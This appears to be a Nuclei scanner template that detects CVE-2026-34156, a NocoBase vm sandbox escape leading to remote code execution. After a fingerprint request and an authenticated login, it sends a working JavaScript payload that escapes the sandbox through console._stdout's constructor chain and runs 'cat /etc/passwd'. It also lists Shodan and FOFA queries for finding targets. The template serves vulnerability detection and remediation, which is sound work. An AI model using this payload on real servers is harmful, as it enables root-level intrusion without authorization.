id: CVE-2026-34156

info:
  name: NocoBase - VM Sandbox Escape to Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.
  remediation: |
    Upgrade to NocoBase version 2.0.28 or later. Replace Node.js vm module with isolated-vm for true V8 isolate separation. Do not pass the host console object into the sandbox. Run the application as a non-root user inside Docker. Restrict /api/flow_nodes:test to admin-only roles.
  reference:
    - https://github.com/advisories/GHSA-px3p-vgh9-m57c
    - https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34156
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34156
    epss-score: 0.36503
    epss-percentile: 0.98334
    cwe-id: CWE-913
  metadata:
    verified: true
    max-request: 3
    vendor: nocobase
    product: nocobase
    shodan-query: http.title:"NocoBase"
    fofa-query: body="__nocobase_public_path__"
  tags: cve,cve2026,nocobase,rce,sandbox-escape,workflow,vm-escape,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "nocobase_api_base_url", "nocobase_api_client_share_token")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "token")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

  - raw:
      - |
        POST /api/flow_nodes:test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"type":"script","config":{"content":"const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('cat /etc/passwd').toString().trim();","timeout":5000,"arguments":[]}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100aa8b651c8d6e6e14d1e6499b0fbb09430aad1ed23e5625c7d5c41361a7ed8937022059ba9a64652dc2db30305c6afda65fba59382a3a1bab5a4c26e87da36c5ebae1:922c64590222798bb761d5b6d8e72950